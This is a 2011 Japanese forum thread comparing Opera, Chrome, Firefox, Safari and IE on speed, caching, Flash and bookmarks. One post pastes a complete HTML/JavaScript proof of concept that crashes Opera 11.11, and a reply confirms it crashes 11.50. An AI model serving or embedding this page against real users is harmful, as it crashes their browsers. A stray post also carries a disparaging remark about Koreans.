603 :名無しさん@お腹いっぱい。:2011/06/12(日) 05:12:51.50 ID:Orq+EfEb0
>>602
房総kwsk

604 :名無しさん@お腹いっぱい。:2011/06/12(日) 05:56:30.51 ID:GgguxcZu0
>>603
(ウイルスチェックソフトにもよるんだろうけれど)キャッシュが溜まっていって
異常に起動が遅くなったり、使ってるうちに遅くなっていったり。終了した時に
Operaのプロセスが残ってしまったりもする。

表示してる情報を、メモリー、メモリーキャッシュ、ディスクキャッシュと三重に
してる様で遅くなったり、やたらメモリーを食ったりする。ディスクキャッシュは
使い物にならんのは確実だが、メモリーキャッシュをどうするか思案中。

後、キャッシュと関係ないけど起動したときに、しばらくブックマークの表示が
不完全なことがあるのでいらっとする。

Flashと相性がいいので何とかならないものかと。ChromeもYoutubeなどとの
相性がいいと言う触れ込みだけど、やっぱり見てるうちに重くなっていく。後、
シークレットモードで音量が保存されないのが面倒。


605 :名無しさん@お腹いっぱい。:2011/06/12(日) 06:13:52.89 ID:PF6XW4W+0
ディスクキャッシュが使いものにならないことは全くないが、気になるのなら、
ディスクキャッシュを無効にしてメモリキャッシュを自動にしておけばいい
ナローバンドでない限り、ディスクキャッシュの恩恵はあまり無い

606 :名無しさん@お腹いっぱい。:2011/06/12(日) 06:32:46.86 ID:GgguxcZu0
>>605
ディスクキャッシュを無効にしてしまうとChrome並みに軽快でいい感じ。
メモリーキャッシュも無効にして特に問題もなさそう。自動にしておくと
ときどきかなり多目にメモリーを食って戻らない。


607 :名無しさん@お腹いっぱい。:2011/06/12(日) 12:11:05.45 ID:PLQN1GBR0
※opera厨の捏造です

608 :名無しさん@お腹いっぱい。:2011/06/12(日) 12:14:52.52 ID:+0qMveOI0
連続ageでわかりやすいちょろめくんでした

609 :名無しさん@お腹いっぱい。:2011/06/12(日) 12:53:38.54 ID:Q+BoZS0N0
Chromeはバグバグみたいだな、今回も
拡張と衝突してるようだが

610 :名無しさん@お腹いっぱい。:2011/06/12(日) 14:26:30.88 ID:GgguxcZu0
>>606
捏造するほど褒めてないじゃん・・・。やっぱりOperaのディスクキャッシュ周りは問題が
あると思う。Operaは軽いとか軽くないとか人によって言うことが大きく違うのはこの辺の
設定によりそう。

とりあえず、ディスクキャッシュ無効、メモリキャッシュ20MB(自動にするとキャッシュに
使った分が開放されずかなりメモリーを食ったままになる)でとりあえず快適に使ってる。
起動が早くなったのでChromeが要らなくなってとうとう家のパソコンからも消した。

>>609
特にバグには気が付いてないけどGUIからできる設定が限られたり使い勝手がよくない
部分があると思う。それから言うほどはYoutubeなどとの相性もよくない。最初は軽快に
動くように見えるけれどだんだんとCPU使用率が上がって戻らなくなる。
(今のところ私のパソコンではOperaだけがFlash周りの問題がほとんど出ない)


611 :名無しさん@お腹いっぱい。:2011/06/12(日) 15:32:24.16 ID:q1i1Sx2s0
Chromeは8GB積んでるけど何も不具合ないよ
Firefoxは動画見てるとたまに固まるけど
あ〜Operaも全く固まらないや

612 :名無しさん@お腹いっぱい。:2011/06/12(日) 15:55:04.33 ID:GgguxcZu0
>>611
ChromeはFirefoxほどはひどくないよ。でも動画を長時間見てると重くなっていく。
ちょうどIEも同じような感じ。ただ、私の家のパソコンのスペックが低いのも原因に
なってると思う。

でも、Chromeで動画をみて問題が出ないスペックのパソコンなら、IEを使っても
苦にならないと思う。FirefoxもFlashの問題が出ないページを見る限りは、4.0に
なってからまずまず快適、使い勝手は一番いい。

IEが9をXPに対応させずに自爆気味なのに、シェア争いではおおむねCheomeが
Firefoxのシェアを食ってるみたいだね。Firefoxはもう少し何とかならんものか。


613 :名無しさん@お腹いっぱい。:2011/06/12(日) 16:25:47.40 ID:ZQrstCzh0
age長文全レス君が住み着いててワロタ

614 :名無しさん@お腹いっぱい。:2011/06/12(日) 19:30:12.82 ID:W462gr/W0
糞スペックだったらOpera以外選択肢ないような
でも、OperaだとFlash一回クリックしないと操作できないんだよな
Flashをメニューに使ってるようなサイトだとけっこう不便

Chromeも割と使えるけどなんだかんだでFirefox使ってるわ

615 :名無しさん@お腹いっぱい。:2011/06/12(日) 20:19:45.51 ID:jSac/fwt0
糞スペックでも起動オプションとかいろいろいじり終えたやつなら絶対にOperaよりIronの方が軽かった
特にタブを閉じるとき

616 :名無しさん@お腹いっぱい。:2011/06/12(日) 20:39:15.32 ID:YxgvFM1D0
Webkit2は気になるけどSafariなんて入れる気にもならんw

617 :名無しさん@お腹いっぱい。:2011/06/12(日) 20:46:08.89 ID:NzheN0hw0
>>614
Opera Turbeを無効にすると、クリックは必要なくなるはず。

618 :名無しさん@お腹いっぱい。:2011/06/12(日) 21:57:02.09 ID:W462gr/W0
>>617
なんか再生マークみたいなものが出てきてそれをクリックしないとFlash再生されなくなったっぽい
クリックしないと動かない挙動は変わらず

619 :名無しさん@お腹いっぱい。:2011/06/12(日) 22:02:33.75 ID:YxgvFM1D0
もうだいぶ前からその仕様だよ

620 :名無しさん@お腹いっぱい。:2011/06/12(日) 23:10:00.39 ID:lrQ2afaj0
>>618
設定→詳細設定→コンテンツ→プラグインを有効にする
→要求に応じてのみプラグインを有効にする
がチェックされてると、クリックが必要になるので外してみて。




621 :名無しさん@お腹いっぱい。:2011/06/13(月) 00:54:16.54 ID:ZVCTAmbaP
それのことじゃないんだが

622 :名無しさん@お腹いっぱい。:2011/06/13(月) 07:10:00.39 ID:nQqn7TW10
「このコントロールを使用する場合は〜」てやつだよな
frash実装の特許問題とかで、仕方ないんじゃなかったっけ

623 :名無しさん@お腹いっぱい。:2011/06/13(月) 07:13:07.08 ID:SAcbxSW40
長い間Operaと他のブラウザを併用していたけど一度も気にならなかった。
俺にとってはFlashは空気なんだなw
Youtubeなどが再生されればそれでおk

624 :名無しさん@お腹いっぱい。:2011/06/13(月) 08:59:40.01 ID:7890Gr4J0
Chromeはプロキシの設定がIEと共有なのね
アクセスログ解析アンケートの為にプロキシ設定の拡張入れたら
他のツールが動かなくなった

625 :名無しさん@お腹いっぱい。:2011/06/13(月) 09:30:15.87 ID:QyUgQXQyO
Chromeは画面の一番上にタブがあるから使いにくいだよね。あれがどうにかなってくれればFirefoxから乗り換えするのになぁ

626 :名無しさん@お腹いっぱい。:2011/06/13(月) 12:14:14.01 ID:uV/VO1Nz0
俺は一番上にあってくれた方が使いやすいなぁ

627 :名無しさん@お腹いっぱい。:2011/06/13(月) 12:39:32.84 ID:Y7m+GxIB0
一番上ちっちゃなタブ、2段目アドレス以上
シンプル・イズ・ベストでchrome

628 :名無しさん@お腹いっぱい。:2011/06/13(月) 12:48:16.42 ID:R/XybI+JO
Chromeは基本的にUI弄れないからな

629 :名無しさん@お腹いっぱい。:2011/06/13(月) 13:18:02.28 ID:t1lZdze8P
結局IE9最強でおk?

630 :名無しさん@お腹いっぱい。:2011/06/13(月) 13:25:57.90 ID:RHzetHYs0
>>629
今のところ圏外。

631 :名無しさん@お腹いっぱい。:2011/06/13(月) 13:29:20.58 ID:5X2Dx6uo0
>>622
それがoperaのゴミな理由の一つだよな
opera厨は感覚が麻痺してるから気にならないみたいだが

632 :名無しさん@お腹いっぱい。:2011/06/13(月) 17:28:32.07 ID:1wjmoJCY0
クマー

633 :名無しさん@お腹いっぱい。:2011/06/13(月) 20:30:10.93 ID:AeiZ7Yxx0
safariは?



634 :名無しさん@お腹いっぱい。:2011/06/13(月) 20:53:24.30 ID:omhyD1f90
SafariはわざわざSafariを使う意味がないんだよねえ
エンジン的にはChromeと変わんなくて機能もChrome側っしょ
Macユーザで他のブラウザ入れる時にダウソ用として立ち上げるくらいかな

635 :名無しさん@お腹いっぱい。:2011/06/13(月) 20:54:59.26 ID:PWFKL6kf0
確認用で使うならChromeよりもSafariかなってくらいだな

636 :名無しさん@お腹いっぱい。:2011/06/13(月) 20:58:55.60 ID:3rCQo4Yj0
ChromeはわざわざChromeを使う意味がないんだよねえ
エンジン的にはSafariと変わんなくて本家・元祖はSafari側っしょ

637 :名無しさん@お腹いっぱい。:2011/06/13(月) 21:03:00.28 ID:GgHN2xD10
Safariは本当はWeb製作向けに出してんじゃないの。
気軽にSafariチェックをさせて、
少しでもMacやiPhoneやiPadで表示できないサイトを
減らそうということだろう。

638 :名無しさん@お腹いっぱい。:2011/06/13(月) 21:28:52.45 ID:W8SoXU/f0
>>624
私もそれが一番いけてないと感じる。Safariも同じだけど。

>>625
Chromeはタブごとにプロセスが出来るからそれでいいかも
しれないけど、軽いを強調する宣伝とズレてるな。Safariも
Webkit2で同様の方針を目指すらしい。

>>629
結局、大事なところはIE8か9でやらざるを得ないのが現状。

>>631
かなりどうでもいい。しかしIEのほうはどうやって特許問題を
クリアしたんだ?


639 :名無しさん@お腹いっぱい。:2011/06/13(月) 21:36:38.76 ID:xTGNw3a80
IE9が最強という路線ならむしろIE8が最強

640 :名無しさん@お腹いっぱい。:2011/06/13(月) 21:40:11.57 ID:ZVCTAmbaP
IE9だとIE用のページ見れないからIEの唯一のメリットすら消え去った

641 :名無しさん@お腹いっぱい。:2011/06/13(月) 22:43:36.79 ID:v67w3SUjP
まぁIEが完璧に標準準拠するのは時間の問題
それはそれで困る人も多いのかな


642 :名無しさん@お腹いっぱい。:2011/06/14(火) 00:36:12.20 ID:P+XdenZs0
Safariは結局のところMac用だと思う、Macだとプラグインとかも色々あるらしいし

>>641
案外「IE用サイトはFxが一番意図通りに見れる」なんて矛盾した状況になったりしてなw

643 :名無しさん@お腹いっぱい。:2011/06/14(火) 00:39:49.01 ID:gxIbSHmm0
IE用とか意識してコード書く場合はCSSハック使いまくってるからそれはない

644 :名無しさん@お腹いっぱい。:2011/06/14(火) 00:55:16.37 ID:tGdnUqlr0
>>636
Safariって、V8 積んでたっけ?

645 :名無しさん@お腹いっぱい。:2011/06/14(火) 01:06:27.85 ID:hb3+L5l20
勘違いさせておけばいい。

646 :名無しさん@お腹いっぱい。:2011/06/14(火) 01:52:35.16 ID:gxIbSHmm0
ChromeはJavaScriptCore積んでないな

647 :名無しさん@お腹いっぱい。:2011/06/14(火) 02:11:25.92 ID:xnYwrOa20
>>644
JSがIE8,9とFirefoxとSafariで動いてChromeだけで動かなかったらそれはV8がおかいんじゃね?

648 :名無しさん@お腹いっぱい。:2011/06/14(火) 03:42:42.11 ID:tGdnUqlr0
>>647
それはそうと思うが、具体的に何のことだ?
話の流れがプッツンしてるんじゃね?

単に、>>634,636
が、「Safari と Chrome のエンジンが一緒!」って言い張っていたから、
Safari って、V8 エンジン搭載することになったのかな?
って聞いただけだよ。

649 :名無しさん@お腹いっぱい。:2011/06/14(火) 03:47:28.03 ID:gxIbSHmm0
JSエンジンとは別にレンダリングエンジンってのがあってだな

650 :名無しさん@お腹いっぱい。:2011/06/14(火) 05:34:29.93 ID:ORuHk7S60
普通「エンジン」とだけ言ったらレンダリングエンジンを指すと思え
V8に限った話をしたいのなら「JavaScriptエンジン」と断っておくようにな

651 :名無しさん@お腹いっぱい。:2011/06/14(火) 13:32:34.24 ID:k2qO1WEV0
jsで言えばSafariとFxが兄弟になっちゃうな

652 :名無しさん@お腹いっぱい。:2011/06/14(火) 15:03:05.96 ID:gxIbSHmm0
SafariとAdobeの混血というか…

653 :名無しさん@お腹いっぱい。:2011/06/14(火) 19:26:51.43 ID:6swgIstb0
Chrome、Safar、Firefox…
みんなでフンドシの使い回し。実に節操がない。

やはりOpera、Operaこそが至高かつ孤高なのだ。
考える間もなく最初からわかっていたことだが。

…げっ、IEおまえもか

654 :名無しさん@お腹いっぱい。:2011/06/14(火) 22:15:35.32 ID:Ny79CpEv0
FirefoxのUIパクってるようじゃOperaも価値ナシだよw

655 :名無しさん@お腹いっぱい。:2011/06/14(火) 22:37:14.37 ID:juz/4IMA0
言ってる意味がよくわからないんで置いときますね

Operaに激似で有名なFirefox 4の Beta 7が公開
ttp://logsoku.com/thread/hato.2ch.net/news/1289460310/

656 :名無しさん@お腹いっぱい。:2011/06/14(火) 22:54:46.19 ID:MlbLxdC50
またこれ張るのかよ何回目だよ

66 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2010/11/15(月) 21:32:14 ID:pOEsnbYj0
operaのがUIはいつごろから今の形に?
3.7preの頃にはすでに4と同じUIだったけど

67 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2010/11/15(月) 21:44:22 ID:V0NTAQ1x0
10.50じゃなかったかな
パクリとか言われてるけど、Firefox4のモックアップの公開のほうが早いよ
Operaも使ってるからOperaスレも見てるけど、10.50がリリースされたとき
Firefox4のモックアップをパクリ杉だろうとかコメントされてたし

70 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2010/11/15(月) 22:02:47 ID:4Y4xxNig0
http://design-noir.de/log/2009/12/opera-firefox-ui/
とか。
参考まで。

73 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2010/11/15(月) 23:02:41 ID:r3+9X4No0
だからFirefoxのベータのUIがああなったときもあんまりOperaのスレではパクリって言われなかったのか

657 :名無しさん@お腹いっぱい。:2011/06/14(火) 22:57:42.82 ID:R0m6p5OP0
そそ、だからこれ騒いでるのはニワカ

658 :名無しさん@お腹いっぱい。:2011/06/14(火) 23:20:04.42 ID:58ByvyaI0
OperaとFirefoxは似てるけどFirefoxのほうが使い勝手がいいんだよな・・・。
右クリックで検索を選んで別タブが開くとか。Operaはディスクキャッシュを
切れば少しFirefoxよりは軽いのと何故かFlashと相性がいい以外利点なし。



659 :名無しさん@お腹いっぱい。:2011/06/14(火) 23:22:22.44 ID:Fb5FwAls0
>>656
つまりOperaはFirefoxのモック(笑)を一日でパクって
動くアルファ版を出したわけですね

んなわけねーだろ

660 :名無しさん@お腹いっぱい。:2011/06/14(火) 23:35:11.65 ID:k2qO1WEV0
すくなくても、FxがOperaをパクったって事はないわけだな

661 :名無しさん@お腹いっぱい。:2011/06/14(火) 23:41:56.04 ID:/rpB5wHd0
https://twitter.com/#!/dynamitter/status/53158055944261633
oqeraはゴミ

662 :名無しさん@お腹いっぱい。:2011/06/15(水) 00:03:32.96 ID:7t5Ci/x00
>>656
モックアップとか聞くと勘違いする人もいるけど
あれイラストだからな
絵だぞ絵

Firefoxが「絵」を公開した次の日
Operaのアルファ版が出た

これをどう考えるかだね

663 :名無しさん@お腹いっぱい。:2011/06/15(水) 00:32:08.12 ID:6HmRECVc0
どうも考えないよ

664 :名無しさん@お腹いっぱい。:2011/06/15(水) 00:38:43.14 ID:DtIMg89x0
これを見たら Opera はゴミだなんて言ってられなくなるぞ。
http://gs.statcounter.com/#browser-RU-monthly-201005-201105

665 :名無しさん@お腹いっぱい。:2011/06/15(水) 00:46:57.27 ID:EYusjHsGP
Opera Web Browser 11.11 Remote Crash
http://www.exploit-db.com/exploits/17396/

<html>
<body>
<iframe src='about:blank' id='bo0om' style="width:0px;height:0px;border:0px none;"></iframe>
<script type="text/javascript" language="javascript">

/*
*
* Opera 11.11 Remote Crash
* Software link: http://www.opera.com/download/
* Tested on: Win32 xp home sp 3
* CVE : null
*
* Im too lazy to deep analyze this ,but i thing is just unexploitable crash
* so f****jixvt
* ( dla klechis³awa i jego kosiarki :i )
*
*/

var a = window.document.getElementById('bo0om');
var b = a.contentDocument.createElement('font');
a.src='about:blank';
setTimeout('b.face = "h3h";',500);

</script>
</body>
</html>


666 :名無しさん@お腹いっぱい。:2011/06/15(水) 01:17:09.21 ID:yDw1F3Zk0
↑落ちた 11.50 1040

667 :名無しさん@お腹いっぱい。:2011/06/15(水) 01:41:01.77 ID:WR1joPRM0
Chromeってほんとゴミクズだなぁ
さっさとブックマークなんとかしろよ使ってやるから

668 :名無しさん@お腹いっぱい。:2011/06/15(水) 01:48:26.53 ID:mzb73nBm0
>>665
つまりOperaはゴミってことか

669 :名無しさん@お腹いっぱい。:2011/06/15(水) 07:46:00.10 ID:3i3uIKsl0
>>664
なるほど、OPERAが使えんのが分かって、Chromeに移行しているのか

670 :名無しさん@お腹いっぱい。:2011/06/15(水) 07:55:27.21 ID:GHny6gIm0
>>662
左上にメニューがあるのって、別にFirefoxやOperaが元祖じゃないのでは。

>>664
その国だけだよ。何か理由があるのかな?

>>667
いやいや、Chromeは分かりにくいけど使いにくいわけじゃない。
Operaのブックマークはどうやっても使いにくい。

Operaもディスクキャッシュさえ切ってしまえば軽くて動画も快適だけど
ブックマークの使いにくさでメインに出来ないし、
ときどき終了時にプロセスが残るのでパソコンをよく知らない人に薦められない。


671 :名無しさん@お腹いっぱい。:2011/06/15(水) 08:11:39.25 ID:0WaN4act0
確か
MSOfficeのリボンUI→Firefoxのモックアイディア→Operaでの実装→Fxでの実装
って時系列じゃなかったっけ

672 :名無しさん@お腹いっぱい。:2011/06/15(水) 08:13:15.70 ID:qZef7z9/0
>>670
> Operaもディスクキャッシュさえ切ってしまえば軽くて動画も快適だけど
たしか今は初期状態でディスクキャッシュは無効になってるような・・・
メモリキャッシュは自動になってるはず

ブックマークに関しては自分は慣れてしまったから使いやすいけど・・・

673 :名無しさん@お腹いっぱい。:2011/06/15(水) 08:30:05.74 ID:Mo4fPaFu0
Chrome使っている人は、ブックマークに
Neat Bookmarksオススメ。
慣れると非常に使いやすい。

674 :名無しさん@お腹いっぱい。:2011/06/15(水) 09:14:16.01 ID:RXXVqGMq0
おいGoogleーーーーーーーー
Chrome bookだけじゃなくてOpera book やスレイプニルbook出せよ!!!!!!

675 :名無しさん@お腹いっぱい。:2011/06/15(水) 13:49:57.01 ID:mzb73nBm0
>>674
          意       貴
          味       方           たい事はそ
          が  言語中枢が無い?     い       れ
          わ         何         言       で
          か        言              わ終
          ら         い              り
          な      解 し たく             か
          い   理    い 無い
           ゜    もかの               ??


676 :名無しさん@お腹いっぱい。:2011/06/15(水) 14:25:37.22 ID:WR1joPRM0
>>670
クロームのブックマークはクズでしょポップアップとかふざけてんのかと
俺がクロームを使わない理由はただそれだけだ
ブクマはOperaもFxもIEもたいして変わらないよ

677 :名無しさん@お腹いっぱい。:2011/06/15(水) 14:42:32.30 ID:EYusjHsGP
なんでOperaってABCD順?にブックマークが勝手に並ぶんだろうな
死ぬほどむかつく

綺麗に並んでいるからと言ってChromiumのようにブックマークの検索はそこまで早いわけではないし
使い物にならない

678 :名無しさん@お腹いっぱい。:2011/06/15(水) 14:49:13.31 ID:cNBISBKl0
Chromeのブックマークはメニューバー使用を前提に
フォルダ整理すれば全く不満はなくなったな
それまではNeat Bookmarks使ってたけど

679 :名無しさん@お腹いっぱい。:2011/06/15(水) 14:53:43.57 ID:EYusjHsGP
サイドバー使っても足りないぐらい適当にブクマしたのがかなりあるから
俺はブックマークマネージャから検索して使ってることが多いな
慣れてくるとサイドバー使ってるブラウザがうっとおしく感じてくるから困る

680 :名無しさん@お腹いっぱい。:2011/06/15(水) 15:04:51.09 ID:Mo4fPaFu0
>>679
まさに俺と一緒。というか、適当にはブクマしていたわけではなくて、
定期的にキチンと整理しているのだが、結局膨大になったので検索使うことに。

そうすると、ショートカットキーで検索メニューに行けて、
必要に応じてブックマーク専用の検索と、普通の検索が出来るのが重要ってことになる。
Ctrl+Lで検索バー移動、
Neat bookmasks で 「*+tab+キーワード」でブクマ検索、
それ以外は普通の検索(オプションで色々変えられる)
という感じで、手放せなくなった。

Windows 7 にしてからは左半分や右半分にして使うことが多くなったので、
逆にサイドバーは鬱陶しくなるんだよね。
昔はサイドバーがないことに不満をもっていたが、使い道が変われば変わるもんだ。

681 :名無しさん@お腹いっぱい。:2011/06/15(水) 15:30:35.74 ID:VNE5PoGQ0
アドレスバーからブックマーク検索させても、Operaは十分に使いやすいけどなぁ
Chromiumと比べて決して遅くはないし、ニックネームも使えるし
整理整頓しないから、サイドバーのブックマークはいつの間にか使わなくなったけど (´・ω・`)

682 :名無しさん@お腹いっぱい。:2011/06/15(水) 18:00:40.60 ID:qJvnE3XRP
で、今のところどれが1番良いのよ?

IE9って言ってよ><。

683 :名無しさん@お腹いっぱい。:2011/06/15(水) 19:14:47.46 ID:rjrUOxr6P
ワイド画面の時代にサイドバーないとかクローム終わってるね

684 :名無しさん@お腹いっぱい。:2011/06/15(水) 20:46:41.28 ID:GHny6gIm0
>>677
Operaも好きな順番に並べることは出来るよ。ただメニューからブックマークを
出してる状態で順番を入れ替えることが出来ない。ブックマークに関しては何を
するにも、ブックマークの編集を選ばなきゃいけない。
(ツールバーのブックマークも同様に何も出来ないし編集の仕方も分からん)

Chromeは分かりにくいけどツールバーにフォルダーを作ってしまえば、意外に
普通に使える。でも、わざわざ分かりにくいのはGoogle使えということか。

ブックマークに関してはやっぱりIEとFirefoxが使いやすい。というか慣れてる。



685 :名無しさん@お腹いっぱい。:2011/06/15(水) 20:49:46.60 ID:yDw1F3Zk0
あの使いづらさはSpeedDial使えってことじゃね

686 :名無しさん@お腹いっぱい。:2011/06/15(水) 20:55:25.65 ID:rjrUOxr6P
SpeedDialは実質9個しか使えない

687 :名無しさん@お腹いっぱい。:2011/06/15(水) 20:59:39.78 ID:yDw1F3Zk0
ズーム小さくすれば山ほど使えるぞ(11.50からかもしれんが)
まぁSafariのTopSitesほど派手じゃないけど…

688 :名無しさん@お腹いっぱい。:2011/06/15(水) 21:09:13.01 ID:/Uz2xmDX0
>>683
ワイドだからこそ、ブラウザの取る領域は最小限にして、外側は他のアプリで使えってことじゃねえの

689 : 忍法帖【Lv=12,xxxPT】 :2011/06/15(水) 23:01:56.41 ID:G7xbjrss0
>>656
>operaのがUIはいつごろから今の形に?
>10.50じゃなかったかな
を正確に言うとデフォルト設定で今の形になったのが10.50であって、
設定を変えることでそれ以前から普通に出来てたのよね。

690 :名無しさん@お腹いっぱい。:2011/06/16(木) 07:03:16.87 ID:ogdQqlg20

Firefoxを今ゼロからデザインしたらどうなる? - Mozilla Labsの取り組み
ttp://journal.mycom.co.jp/news/2011/06/15/084/

441 名前:名無しさん@お腹いっぱい。 投稿日:2011/06/16(木) 00:44:20.24
ほうほうこれがChromeの原案か
ってw やる気ねーだろ糞ジラwww

442 名前:名無しさん@お腹いっぱい。 投稿日:2011/06/16(木) 00:56:40.13
くそわろた

444 名前:名無しさん@お腹いっぱい。 投稿日:2011/06/16(木) 01:04:47.38
なんかもうホント駄目だな

691 :名無しさん@お腹いっぱい。:2011/06/16(木) 07:06:30.57 ID:p8Ow7D5v0
>>690
ワロタ
言いたいことがコメントに全部書いてあってまたワロタ

692 :名無しさん@お腹いっぱい。:2011/06/16(木) 12:34:29.02 ID:PMUSBlKD0
気まぐれで、Firefox, Chrome, Opera, Sleipnir をインスコして弄ってみたが
Opera と Sleipnir が意外と使いやすいのには驚いた

693 :名無しさん@お腹いっぱい。:2011/06/16(木) 12:42:22.49 ID:ogdQqlg20
その面子でぷにる()が混ざる理由がわからんわ

694 :名無しさん@お腹いっぱい。:2011/06/16(木) 13:47:45.31 ID:9Nta76SI0
Opera11は早いけど不安定だな

Chromeは前々からいろんなスレで見たけど解決策がいまだ出てないエラーがあるからな〜
>エラー 101 (net::ERR_CONNECTION_RESET): 接続がリセットされました。
ttp://www.dotup.org/uploda/www.dotup.org1703687.jpg
これGoogle Chrome ヘルプのやり方も一時的にしか直らないらしいし
こっから乗り換えた人もいたな

695 :名無しさん@お腹いっぱい。:2011/06/16(木) 19:03:21.00 ID:Or2ZzPOB0
>>693
工作員に構うな

696 :名無しさん@お腹いっぱい。:2011/06/16(木) 19:08:51.39 ID:Ae0YKPbLP
IEのスキンなんだからいて当然

697 :名無しさん@お腹いっぱい。:2011/06/16(木) 19:41:57.05 ID:Or2ZzPOB0
>>693
工作員に構うな

698 :名無しさん@お腹いっぱい。:2011/06/16(木) 20:27:26.65 ID:JrtwlB0X0
>>687
ショートカットを考えたらってことじゃね

699 :名無しさん@お腹いっぱい。:2011/06/16(木) 20:51:58.29 ID:s7Bd8t5I0
それはCtrl+shift+数字とかに割り当てればよくね

700 :名無しさん@お腹いっぱい。:2011/06/16(木) 21:17:03.15 ID:D3x4GNDQ0
Operaもサイドのブックマークを出せば普通に使えるし、普通に動かせるよ。
でも、出すまでの操作が煩雑すぎ。メニューのブックマークかツールバーの
ブックマークをもう少し普通に使えるようにしてくれよ。


701 :名無しさん@お腹いっぱい。:2011/06/16(木) 22:54:48.34 ID:VPrESTvf0
メニューの順番とか気にしたことないや
むしろ他ブラウザでもアルファベット順、アイウエオ順に手動で並び替えてるからOpera移行しようかな

702 :名無しさん@お腹いっぱい。:2011/06/17(金) 00:20:03.07 ID:MVp2Jgv00
chromeのマウスジェスチャーはjscript実行しているページしか動かないよ(´・ω・`)

703 :名無しさん@お腹いっぱい。:2011/06/17(金) 00:25:19.83 ID:nmzpShdQP
おまえらIEの話題もしてくれよ。。
IEはそんなに糞なのか?w

704 :名無しさん@お腹いっぱい。:2011/06/17(金) 00:34:28.20 ID:Yt+ESvFFP
日本マイクロソフト、6月21日からIE9を自動更新で配布 (ソフトバンク ビジネス+IT) http://bit.ly/mE9W70


言うまでもねぇだろ 対応遅過ぎのクソブラウザに価値はない

705 :名無しさん@お腹いっぱい。:2011/06/17(金) 01:45:30.75 ID:Uo7xa9oA0
最も価値の無いブラウザがopera

706 :名無しさん@お腹いっぱい。:2011/06/17(金) 05:59:26.25 ID:cHBIDRNl0
>>705
どかーん!
(⌒⌒⌒)
 ||
/ ̄ ̄ ̄ ̄ ̄\
| ・ U      |
| |ι        |つ
U||  ̄ ̄ ||
もうおこったぞう

707 :名無しさん@お腹いっぱい。:2011/06/17(金) 08:11:42.60 ID:udwYjdjf0
WinXPユーザーなのでIE8では比較の対象にすらならないので

708 :名無しさん@お腹いっぱい。:2011/06/17(金) 10:46:41.43 ID:hAKQlwo10
>>690
履歴のナビゲーションを変えるのは
便利そうだな

709 :名無しさん@お腹いっぱい。:2011/06/17(金) 21:52:34.39 ID:9pqEkkg60
ナビゲーションだけは興味深いな
使いやすいのかどうかは分からないけど

そういえばモバイル向けのFirefoxも少し変わったUIだったな

710 :名無しさん@お腹いっぱい。:2011/06/18(土) 08:47:23.24 ID:C6MMpuwzP
>>1
言語による意思の疎通ができなかった朝鮮人のために日本人が作ってやった言葉だからね
日本人にとっては易しいけど日本語圏外の人々にとっての難易度は日本語と大差ないよ
まあ当然といえば当然なんだけどね

711 :名無しさん@お腹いっぱい。:2011/06/18(土) 08:59:32.13 ID:Q7DFnlhf0
どういう誤爆だw

712 :名無しさん@お腹いっぱい。:2011/06/18(土) 09:17:21.08 ID:4+BBci4q0
>>710
ワロタ

713 :名無しさん@お腹いっぱい。:2011/06/18(土) 09:22:33.39 ID:ACFfxRbU0
ググレカス

714 :名無しさん@お腹いっぱい。:2011/06/18(土) 10:41:49.08 ID:qaRI3YTX0
誤爆は感情的で、残酷で、ときに無力だ。それでも私たちは信じている、誤爆のチカラを

715 :名無しさん@お腹いっぱい。:2011/06/20(月) 20:08:37.50 ID:txHqhbHf0
Google Chrome Frameを入れてみたいんだが
何度やってもダウンロードしていますで止まってしまう

716 :名無しさん@お腹いっぱい。:2011/06/20(月) 21:09:32.98 ID:Mt9dFFHPP
PCだってウイルス入れられたくないもんな

717 :名無しさん@お腹いっぱい。:2011/06/20(月) 21:58:11.83 ID:0VhwOzGI0
なんかIEだと文字エンコードに不備があってもそのまま文字化けされずに表示されて
Firefoxだと文字化けした後に、即修正される

個人サイトとか見てると文字metaで文字コードしっかり指定されてないようなものもザラにあるから
他でも実装できないのかな
いちいちエンコード弄くるのが面倒

718 :名無しさん@お腹いっぱい。:2011/06/20(月) 22:18:56.26 ID:+2UaFB0k0
その不備あるのって大抵IEに合わせた結果なんだよね

719 :名無しさん@お腹いっぱい。:2011/06/20(月) 22:22:22.98 ID:TrbyQnC+0
いやいや、以前からIEはソースが間違ってても修正して読む動きだよ。


720 :名無しさん@お腹いっぱい。:2011/06/21(火) 05:00:09.46 ID:l/nIt0V40
この手のスレ見て良いブラウザ決めようと思っても絶対決めれないよね。
自分が使ってないブラウザの悪口ばかりを言ってる気がする。

721 :名無しさん@お腹いっぱい。:2011/06/21(火) 05:38:13.85 ID:okbce8Dn0
>>720
今の所IEでも問題ないよ
chromeに近い速さだし

722 :名無しさん@お腹いっぱい。:2011/06/21(火) 11:01:45.11 ID:neGqNOCQ0
>>719
間違ってても読めちゃうのが間違いってこと(利便性はともかく)

723 :名無しさん@お腹いっぱい。:2011/06/21(火) 16:53:10.09 ID:gCex/JiS0
IE9キタ━━━━━━(゚∀゚)━━━━━━ !!!!!

724 :名無しさん@お腹いっぱい。:2011/06/21(火) 17:51:08.06 ID:Lus57CwV0
>>722
送信は厳格に受信は寛容にというのがRFC1957インターネット構築の原則にある。
間違ってても読めちゃうのが間違いというのが間違いってこと(何をいいたいのかはともかく)。

725 :名無しさん@お腹いっぱい。:2011/06/21(火) 19:49:23.07 ID:Ao0yMYukP
間違ってたら読めないんじゃ普通の人は糞ブラウザ扱いするだろうよ
実際そのページ利用する手段なくなるし
だから間違ってても読めるIEはみんなに親しまれる

726 :名無しさん@お腹いっぱい。:2011/06/21(火) 20:25:37.63 ID:3hdjMMhb0
サイト製作者が、IEでしか確認をしないことが間違いってことだな

727 :名無しさん@お腹いっぱい。:2011/06/21(火) 21:38:38.28 ID:VkNEpsps0
fx4って今日じゃなかったのか?
海外リリースだけなんだろうか

728 :名無しさん@お腹いっぱい。:2011/06/21(火) 21:49:41.25 ID:ssMoj3h20
5

729 :名無しさん@お腹いっぱい。:2011/06/21(火) 23:15:23.71 ID:l/nIt0V40
Fx5楽しみ。でも、今年中にFx7まで出すというのは急ぎすぎな気がする・・

730 :名無しさん@お腹いっぱい。:2011/06/21(火) 23:44:27.36 ID:4wlUMfn70
数字だけでも早く追いつきたいんだろ

731 :名無しさん@お腹いっぱい。:2011/06/22(水) 00:24:32.88 ID:b/XDXm8fO
速さ軽さを気にしてる人ってRAMディスク使ったりしないの?


732 :名無しさん@お腹いっぱい。:2011/06/22(水) 00:25:36.85 ID:MgPDYqzmO
chromeの影響か……

